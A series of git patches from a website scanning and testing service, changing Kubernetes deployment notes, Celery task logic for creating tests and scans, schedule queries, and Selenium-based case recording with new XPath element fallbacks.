+kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml
+kubectl apply -f ./k8s/prod/app-deployment.yaml
+kubectl apply -f ./k8s/prod/celery-deployment.yaml
+kubectl apply -f ./k8s/prod/celery-autoscaler.yaml
+kubectl apply -f ./k8s/prod/beat-deployment.yaml
+```
 
 
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler
-- `kubectl apply -f ./k8s/prod/ylt-deployment.yaml`
-- `kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/ylt-deployment.yaml
+kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml
+```
 
 
 ### 5. Add app Ingress
-- `kubectl apply -f ./k8s/prod/app-ingress.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/app-ingress.yaml
+```
 
 
 ### 6. Install cert-manager
-- `kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml`
+``` shell
+kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml
+```
 
 
 ### 7. Add cert issure
-- `kubectl apply -f ./k8s/prod/app-cert-issuer.yaml`
-- NOTE: May have to wait a bit before running this one
+``` shell
+kubectl apply -f ./k8s/prod/app-cert-issuer.yaml
+```
+> NOTE: May have to wait a bit before running this one
   
 
 ### 8. Update app Ingress for TLS 
 - Uncomment the "TLS section" & "cert-manager.io/cluster-issuer annotation" then reapply 
-- `kubectl apply -f ./k8s/prod/app-ingress.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/app-ingress.yaml
+```
 
 
 ### 9. Install kubeip dameon & service
-- `kubectl apply -f ./k8s/prod/kubeip-service.yaml`
-- `kubectl apply -f ./k8s/prod/kubeip-daemon.yaml`
+``` shell
+kubectl apply -f ./k8s/prod/kubeip-service.yaml
+kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
+```
 
 
 ### NOTES:
  - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
- - Restart celery, beat, &b app deployments for a config-map change:
+ - Restart celery, beat, & app deployments for a config-map change:
    - `kubectl rollout restart deployment app-deployment celery-deployment`
  - Check status of deployment rollout
    - `kubectl rollout status deployment/app-deployment`

From 066b31402538b2d3ec892341f908f0c39bd4ec7a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 12:51:29 -0600
Subject: [PATCH 0675/1099] trying to fix task bugs

---
 app/api/tasks.py | 37 ++++++++++++++++++++++++-------------
 1 file changed, 24 insertions(+), 13 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 684ebec0..ade8c8d3 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -126,7 +126,7 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
                 scan = Scan.objects.create(
                     site=site,
                     page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    type=settings.TYPES,
                     configs=configs
                 )
                 
@@ -207,7 +207,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
                 scan = Scan.objects.create(
                     site=site,
                     page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    type=settings.TYPES,
                     configs=configs
                 )
                 # run each scan component in parallel
@@ -278,7 +278,7 @@ def create_scan(
         self,
         scan_id: str=None,
         page_id: str=None, 
-        type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+        type: list=settings.TYPES,
         automation_id: str=None, 
         configs: str=None,
         tags: str=None,
@@ -505,7 +505,7 @@ def create_test(
         page_id: str=None, 
         automation_id: str=None, 
         configs: dict=settings.CONFIGS, 
-        type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+        type: list=settings.TYPES,
         index: int=None,
         pre_scan: str=None,
         post_scan: str=None,
@@ -532,6 +532,16 @@ def create_test(
     Returns -> None
     """
 
+    # setting defaults
+    created_test = None
+
+    # get or create a Test
+    if test_id is not None:
+        created_test = Test.objects.get(id=test_id)
+        page = created_test.page
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
+
     # get pre_ & post_ scans
     if pre_scan is not None:
         pre_scan = Scan.objects.get(id=pre_scan)
@@ -540,11 +550,15 @@ def create_test(
     if post_scan is None or pre_scan is None:
         if pre_scan is None:
             # check for pre_scan existance 
-            if not Scan.objects.filter(page=page).exists():
+            if not Scan.objects.filter(page=page).exclude(time_completed=None).exists():
                 logger.info('no pre_scan available to create Test with')
                 return None
             # get pre_scan if exists
-            pre_scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+            pre_scan = Scan.objects.filter(
+                page=page
+            ).exclude(
+                time_completed=None
+            ).order_by('-time_completed')[0]
         
         # create new post_scan
         post_scan = Scan.objects.create(
@@ -560,13 +574,9 @@ def create_test(
             automation_id=automation_id,
             configs=configs,
         )
-
-    # get or create a Test
-    if test_id is not None:
-        created_test = Test.objects.get(id=test_id)
-        page = created_test.page
-    elif page_id is not None:
-        page = Page.objects.get(id=page_id)
+    
+    # create test if none
+    if created_test is None:
         created_test = Test.objects.create(
             site=page.site,
             page=page,
@@ -576,6 +586,7 @@ def create_test(
             status='working'
         )
         
+        
     # updating parired scans
     pre_scan.paired_scan = post_scan
     post_scan.paried_scan = pre_scan

From 05edbacf29422538babc5e963ff2f6049fce8a2d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 13:07:37 -0600
Subject: [PATCH 0676/1099] added method to create new scan if no pre_scan
 exists for the page or site

---
 app/api/tasks.py | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ade8c8d3..882738de 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -551,8 +551,24 @@ def create_test(
         if pre_scan is None:
             # check for pre_scan existance 
             if not Scan.objects.filter(page=page).exclude(time_completed=None).exists():
+                
+                # create new scan if none exists
+                new_scan = Scan.objects.create(
+                    site=page.site,
+                    page=page,
+                    tags=tags, 
+                    type=type,
+                    configs=configs,
+                )
+                scan_page_bg.delay(
+                    scan_id=new_scan.id, 
+                    configs=configs,
+                )
+
+                # return None
                 logger.info('no pre_scan available to create Test with')
                 return None
+                
             # get pre_scan if exists
             pre_scan = Scan.objects.filter(
                 page=page

From 218b3698018a9fd9c50b1f135ada8d2e328d88c5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 Aug 2024 13:29:23 -0600
Subject: [PATCH 0677/1099] updated defaluts for failed componoents in tester

---
 app/api/utils/tester.py | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 92b708b7..b77d11d0 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -787,12 +787,12 @@ def run_test(self, index: int=None) -> object:
                 # save and get s3 object uri
                 html_delta_uri = self.save_data_to_s3(_data=html_delta_context)
                 print(f'html_delta => {html_delta_uri}')
-
             except Exception as e:
+                print(e)
+            else:
                 micro_diff_w = 0
                 num_html_w = 0
                 micro_diff_w = 0
-                print(e)
         
         # testing logs
         if 'logs' in self.test.type or 'full' in self.test.type:
@@ -816,8 +816,9 @@ def run_test(self, index: int=None) -> object:
                     "combined_logs_score": combined_logs_score
                 }
             except Exception as e:
-                logs_score_w = 0
                 print(e)
+            else:
+                logs_score_w = 0
 
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
@@ -841,8 +842,9 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_lh_w = 1
             except Exception as e:
-                delta_lh_w = 0
                 print(e)
+            else:
+                delta_lh_w = 0
 
         # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
@@ -866,8 +868,9 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_yl_w = 1
             except Exception as e:
-                delta_yl_w = 0
                 print(e)
+            else:
+                delta_yl_w = 0
 
         # testing images
         if 'vrt' in self.test.type or 'full' in self.test.type:
@@ -880,8 +883,9 @@ def run_test(self, index: int=None) -> object:
                 # weights
                 images_w = 4
             except Exception as e:
-                images_w = 0
                 print(e)
+            else:
+                images_w = 0
         
         # calculating total weight
         total_w = (

From 85978b8dcb41b1eb737511700b4452fa878b4465 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 30 Aug 2024 10:14:23 -0600
Subject: [PATCH 0678/1099] patching issues with create_test()

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 882738de..a42b07cd 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -586,7 +586,7 @@ def create_test(
         )
         scan_page_bg.delay(
             scan_id=post_scan.id, 
-            test_id=created_test.id,
+            test_id=test_id,
             automation_id=automation_id,
             configs=configs,
         )

From 7c1941d15d9c390bc3bf43ef2b54e71713d2adf4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 30 Aug 2024 11:31:59 -0600
Subject: [PATCH 0679/1099] trying to fix tester issues

---
 app/api/utils/tester.py        | 19 ++++++++++---------
 app/api/v1/billing/services.py |  1 -
 app/api/v1/ops/services.py     |  7 +++++++
 notes/Deployment.md            |  2 +-
 4 files changed, 18 insertions(+), 11 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index b77d11d0..0685135f 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -789,10 +789,11 @@ def run_test(self, index: int=None) -> object:
                 print(f'html_delta => {html_delta_uri}')
             except Exception as e:
                 print(e)
-            else:
                 micro_diff_w = 0
                 num_html_w = 0
                 micro_diff_w = 0
+                
+                
         
         # testing logs
         if 'logs' in self.test.type or 'full' in self.test.type:
@@ -816,9 +817,9 @@ def run_test(self, index: int=None) -> object:
                     "combined_logs_score": combined_logs_score
                 }
             except Exception as e:
-                print(e)
-            else:
                 logs_score_w = 0
+                print(e)
+                
 
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
@@ -842,9 +843,9 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_lh_w = 1
             except Exception as e:
-                print(e)
-            else:
                 delta_lh_w = 0
+                print(e)
+                
 
         # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
@@ -868,9 +869,9 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_yl_w = 1
             except Exception as e:
-                print(e)
-            else:
                 delta_yl_w = 0
+                print(e)
+                
 
         # testing images
         if 'vrt' in self.test.type or 'full' in self.test.type:
@@ -883,9 +884,9 @@ def run_test(self, index: int=None) -> object:
                 # weights
                 images_w = 4
             except Exception as e:
-                print(e)
-            else:
                 images_w = 0
+                print(e)
+        
         
         # calculating total weight
         total_w = (
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index cdeb80f6..2251f4a5 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -663,7 +663,6 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
 
 
 
-
 def get_stripe_invoices(request: object) -> object:
     """ 
     Gets a list of Stripe Invoice objects associated with the 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index c5545988..8e0434c3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3393,6 +3393,9 @@ def get_schedules(request: object) -> object:
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # setting default
+    schedules = None
+
     # check account and resource 
     check_data = check_account_and_resource(
         user=user, resource='schedule', page_id=page_id, site_id=site_id, 
@@ -3425,6 +3428,10 @@ def get_schedules(request: object) -> object:
     if page_id:
         page = Page.objects.get(id=page_id)
         schedules = Schedule.objects.filter(page=page).order_by('-time_created')
+
+    # get all page scoped schedules
+    if not schedules:
+        schedules = Schedule.objects.filter(account=account).order_by('-time_created')
     
     # serialize and return
     paginator = LimitOffsetPagination()
diff --git a/notes/Deployment.md b/notes/Deployment.md
index 7a894574..5de5cc87 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -92,7 +92,7 @@ $ eval "$(ssh-agent -s)"
 $ ssh-add ~/.ssh/id_ed25519
 $ cat ~/.ssh/id_ed25519.pub
 ```
-- copy key to clipboard and paste in GutHub
+- copy key to clipboard and paste in GitHub
 
 
 *Add ssh_key.pub to {user} authorized_keys*

From a691e0883d76f9a990014853b32b404539254bec Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 30 Aug 2024 13:15:09 -0600
Subject: [PATCH 0680/1099] fixed test issue

---
 app/api/tasks.py | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a42b07cd..7bf13ff0 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -541,6 +541,14 @@ def create_test(
         page = created_test.page
     elif page_id is not None:
         page = Page.objects.get(id=page_id)
+        created_test = Test.objects.create(
+            site=page.site,
+            page=page,
+            type=type,
+            tags=tags,
+            threshold=float(threshold),
+            status='working'
+        )
 
     # get pre_ & post_ scans
     if pre_scan is not None:
@@ -565,6 +573,9 @@ def create_test(
                     configs=configs,
                 )
 
+                # remove created_test
+                created_test.delete()
+
                 # return None
                 logger.info('no pre_scan available to create Test with')
                 return None
@@ -586,22 +597,10 @@ def create_test(
         )
         scan_page_bg.delay(
             scan_id=post_scan.id, 
-            test_id=test_id,
+            test_id=created_test.id,
             automation_id=automation_id,
             configs=configs,
         )
-    
-    # create test if none
-    if created_test is None:
-        created_test = Test.objects.create(
-            site=page.site,
-            page=page,
-            type=type,
-            tags=tags,
-            threshold=float(threshold),
-            status='working'
-        )
-        
         
     # updating parired scans
     pre_scan.paired_scan = post_scan

From 358e0fe643ff05fa39c9ef8c194b27e2d01beb97 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 30 Aug 2024 13:15:29 -0600
Subject: [PATCH 0681/1099] fixed get_schedules issues and added notes

---
 app/api/v1/ops/services.py | 13 +++++++------
 notes/Kubernetes.md        |  2 ++
 2 files changed, 9 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8e0434c3..50c40885 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3418,20 +3418,21 @@ def get_schedules(request: object) -> object:
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
+
+    # get all page scoped schedules
+    if not site_id and not page_id:
+        schedules = Schedule.objects.filter(account=account).order_by('-time_created')
     
     # get all site scoped schedules
-    if site_id:
+    if site_id and not schedules:
         site = Site.objects.get(id=site_id)
         schedules = Schedule.objects.filter(site=site).order_by('-time_created')
     
     # get all page scoped schedules
-    if page_id:
+    if page_id and not schedules:
+        print('getting Schedules by page_id')
         page = Page.objects.get(id=page_id)
         schedules = Schedule.objects.filter(page=page).order_by('-time_created')
-
-    # get all page scoped schedules
-    if not schedules:
-        schedules = Schedule.objects.filter(account=account).order_by('-time_created')
     
     # serialize and return
     paginator = LimitOffsetPagination()
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 7cc33100..78b7c8bb 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -189,6 +189,8 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
    - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
  - Force delete pods that are stuck in `Terminating`:
    - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
+ - Stream Logs for all celery-deployments:
+   - ` kubectl logs -f --all-containers deployment/celery-deployment`
 
 
 

From 3740ce5430af729cde0263617ff3824f08d8444c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 4 Sep 2024 10:40:57 -0600
Subject: [PATCH 0682/1099] updated notes

---
 notes/Kubernetes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 78b7c8bb..6f2ab352 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -190,7 +190,7 @@ kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
  - Force delete pods that are stuck in `Terminating`:
    - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
  - Stream Logs for all celery-deployments:
-   - ` kubectl logs -f --all-containers deployment/celery-deployment`
+   - `kubectl logs -f --all-containers deployment/celery-deployment`
 
 
 

From 29cedb0ba262a663508a3cbf74d589bf8d508144 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 6 Sep 2024 14:56:08 -0600
Subject: [PATCH 0683/1099] updating for new Case structure (including xpath
 option)

---
 app/api/tasks.py           |   2 +-
 app/api/utils/autocaser.py |  44 ++++++++++++--
 app/api/utils/caser.py     | 121 +++++++++++++++++++++++++++++--------
 app/api/v1/ops/services.py |  26 ++++++--
 4 files changed, 157 insertions(+), 36 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7bf13ff0..480f703b 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -972,7 +972,7 @@ def delete_case_s3_bg(case_id: str) -> None:
     # deleting s3 objects
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
-        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}.json')).delete()
+        bucket.objects.filter(Prefix=str(f'static/cases/{case_id}/')).delete()
     except:
         pass
 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8f82e71a..6b3ce518 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -423,6 +423,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
 
         # get sub element info
         elem_selector = self.driver.execute_script(self.selector_script, elem)
+        elem_xpath = self.driver.execute_script(self.xpath_script, elem)
         elem_img = self.get_element_image(element=elem)
         relative_url = self.get_relative_url(self.driver.current_url)
         
@@ -432,6 +433,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
             # record element
             sub_elements.append({
                 'selector': elem_selector,
+                'xpath': elem_xpath,
                 'elem_type': elem.tag_name,
                 'placeholder': None,
                 'value': None,
@@ -467,6 +469,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
             # record element
             sub_elements.append({
                 'selector': elem_selector,
+                'xpath': elem_xpath,
                 'elem_type': elem.tag_name,
                 'placeholder': elem.get_attribute('placeholder'),
                 'value': value,
@@ -528,8 +531,9 @@ def record_forms(self, elements: list, form: object=None) -> list:
         # begin iteration of <form> gathering
         for form in forms:
             
-            # get form selector
+            # get form selector & xpath
             form_selector = self.driver.execute_script(self.selector_script, form)
+            form_xpath = self.driver.execute_script(self.xpath_script, form)
 
             print(f'recording form -> {form_selector}')
 
@@ -550,6 +554,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                     # get input data
                     input_selector = self.driver.execute_script(self.selector_script, i)
+                    input_xpath = self.driver.execute_script(self.xpath_script, i)
                     placeholder = i.get_attribute('placeholder')
                     value = i.get_attribute('value')
                     type = str(i.get_attribute('type'))
@@ -558,6 +563,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
                     sub_elements.append({
                         'selector': input_selector,
+                        'xpath': input_xpath,
                         'elem_type': i.tag_name,
                         'placeholder': placeholder,
                         'value': value,
@@ -578,6 +584,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                     # get input data
                     input_selector = self.driver.execute_script(self.selector_script, i)
+                    input_xpath = self.driver.execute_script(self.xpath_script, i)
                     placeholder = i.get_attribute('placeholder')
                     type = str(i.get_attribute('type'))
                     img = self.get_element_image(element=i)
@@ -585,6 +592,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
                     sub_elements.append({
                         'selector': input_selector,
+                        'xpath': input_xpath,
                         'elem_type': i.tag_name,
                         'placeholder': placeholder,
                         'value': None,
@@ -604,6 +612,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 
                 # get iframe data
                 iframe_selector = self.driver.execute_script(self.selector_script, iframe)
+                iframe_xpath = self.driver.execute_script(self.xpath_script, iframe)
                 iframe_img = self.get_element_image(element=iframe)
                 relative_url = self.get_relative_url(self.driver.current_url)
                 
@@ -617,6 +626,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                     if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                         # get input data
                         input_selector = self.driver.execute_script(self.selector_script, i)
+                        input_xpath = self.driver.execute_script(self.selector_script, i)
                         placeholder = i.get_attribute('placeholder')
                         value = i.get_attribute('value')
                         type = str(i.get_attribute('type'))
@@ -626,6 +636,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         # save internal iframe data
                         iframe_elements.append({
                             'selector': input_selector,
+                            'xpath': input_xpath,
                             'elem_type': i.tag_name,
                             'placeholder': placeholder,
                             'value': value,
@@ -640,6 +651,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 # save sub elem data
                 sub_elements.append({
                     'selector': iframe_selector,
+                    'xpath': iframe_xpath,
                     'elem_type': iframe.tag_name,
                     'placeholder': None,
                     'value': None,
@@ -660,12 +672,14 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 if self.is_element_visible(btn):
                     # get button data
                     btn_selector = self.driver.execute_script(self.selector_script, btn)
+                    btn_xpath = self.driver.execute_script(self.xpath_script, btn)
                     type = str(btn.get_attribute('type'))
                     btn_img = self.get_element_image(element=btn)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
                     sub_elements.append({
                         'selector': btn_selector,
+                        'xpath': btn_xpath,
                         'elem_type': 'button',
                         'placeholder': None,
                         'value': None,
@@ -681,6 +695,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
             # save elem data
             elements.append({
                 'selector': form_selector,
+                'xpath': form_xpath,
                 'elem_type': 'form',
                 'elem_text': elem_text,
                 'value': None,
@@ -814,6 +829,7 @@ def get_elements(self) -> list:
             element_type = element.tag_name
             elem_relative_url = self.get_relative_url(self.driver.current_url)
             elem_text = self.get_elem_text(selector=selector)
+            xpath = self.driver.execute_script(self.xpath_script, element)
 
             print(f'working on this start element -> {selector}')
 
@@ -939,6 +955,7 @@ def get_elements(self) -> list:
             # adding final info to elememt list
             self.elements.append({
                 'selector': selector,
+                'xpath': xpath,
                 'elem_type': element_type,
                 'elem_text': elem_text,
                 'placeholder': None,
@@ -1005,7 +1022,10 @@ def get_elem_value(element):
                 "assertion":{
                     "type": "",
                     "value": "",
-                    "element": ""
+                    "element": {
+                        "selector": "",
+                        "xpath": "",
+                    },
                 }
             })
 
@@ -1018,13 +1038,19 @@ def get_elem_value(element):
                         "path": element['path'],
                         "type": element['action'],
                         "value": get_elem_value(element),
-                        "element": element['selector'],
+                        "element": {
+                            "selector": element['selector'],
+                            "xpath": element['xpath'],
+                        },
                         "img": element['img']
                     },
                     "assertion":{
                         "type": "",
                         "value": "",
-                        "element": ""
+                        "element": {
+                            "selector": "",
+                            "xpath": "",
+                        },
                     }
                 })
 
@@ -1041,13 +1067,19 @@ def sub_element_mapping(elements, steps):
                                     "path": elem['path'],
                                     "type": elem['action'],
                                     "value": get_elem_value(elem),
-                                    "element": elem['selector'],
+                                    "element": {
+                                        "selector": elem['selector'],
+                                        "xpath": elem['xpath'],
+                                    },
                                     "img": elem['img']
                                 },
                                 "assertion":{
                                     "type": "",
                                     "value": "",
-                                    "element": ""
+                                    "element": {
+                                        "selector": "",
+                                        "xpath": "",
+                                    },
                                 }
                             })
 
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index bf4d6a7c..472cdebf 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -149,6 +149,52 @@ def save_screenshot(self) -> str:
         # returning image url
         return image_url
 
+
+
+    
+    def get_element(self, selector: str=None, xpath: str=None) -> object:
+        """ 
+        Tries to get element by selector first and 
+        then by xpath. If both fail, then return
+        None for "element" and True for "failed".
+
+        Expects: {
+            "selector": str, 
+            "xpath": str, 
+        }
+
+        Returns -> data: {
+            'element': object | None,
+            'failed': bool
+        }
+        """
+
+        # defaults
+        failed = True
+        element = None
+
+        # try selector first
+        if selector:
+            try:
+                element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                failed = False
+            except:
+                pass
+        # try xpath as backup
+        if xpath:
+            try:
+                element = self.driver.find_element(By.XPATH, xpath)
+                failed = False
+            except:
+                pass
+
+        # return data
+        data = {
+            'element': element,
+            'failed': failed
+        }
+        return data
+
     
 
 
@@ -220,7 +266,7 @@ def run(self) -> None:
                         max_wait_time=int(self.configs.get('max_wait_time', 30)),
                     )
                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
-                    time.sleep(int(self.configs['min_wait_time']))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
 
                 except Exception as e:
@@ -280,8 +326,14 @@ def run(self) -> None:
                 try:
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using selenium, find and click on the 'element' 
-                    selector = self.format_element(step["action"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
                                     
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
@@ -291,7 +343,7 @@ def run(self) -> None:
 
                     # clicking element
                     element.click()
-                    time.sleep(int(self.configs['min_wait_time']))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
                 
                 except Exception as e:
@@ -318,8 +370,14 @@ def run(self) -> None:
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 
                     # using selenium, find and change the 'element'.value
-                    selector = self.format_element(step["action"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
 
                     # scrolling to element and back down a bit
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
@@ -330,7 +388,7 @@ def run(self) -> None:
                     # changing value of element
                     value = step["action"]["value"]
                     element.send_keys(value)
-                    time.sleep(int(self.configs['min_wait_time']))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
                 
                 except Exception as e:
@@ -360,15 +418,21 @@ def run(self) -> None:
                     n = (i - 1)
                     elm = None
                     while True:
-                        elm = self.steps[n]['action']['element']
+                        elm = self.steps[n]['action']['element']['selector']
                         if elm != None and len(elm) != 0:
                             break
                         n -= 1
                     selector = self.format_element(elm)
                                 
                     # using selenium, find elemenmtn and send 'Key' event
-                    selector = self.format_element(step["action"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
 
                     # scrolling to element and back down a bit
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
@@ -378,7 +442,7 @@ def run(self) -> None:
 
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
-                    time.sleep(int(self.configs['min_wait_time']))
+                    time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
                 
                 except Exception as e:
@@ -403,23 +467,28 @@ def run(self) -> None:
                 )
 
                 try:
+                    # using selenium, find elememt and assert if element.text == assertion.value
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
-                    # using selenium, find elememt and assert if element.text == assertion.text
-                    selector = self.format_element(step["assertion"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    selector = self.format_element(step["assertion"]["element"]["selector"])
+                    xpath = self.format_element(step["assertion"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
 
                     # scrolling to element and back down a bit
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # gettintg elem text
-                    elementText = self.driver.execute_script(f'return document.querySelector("{selector}").innerText')
+                    elementText = element.get_attribute('innerText')
                     elementText = element.text if len(elementText) == 0 else elementText
                     elementText = elementText.strip()
-                    print(f'elementText => {elementText}')
-                    print(f'value => {step["assertion"]["value"]}')
+                    print(f'elementText -> {elementText}')
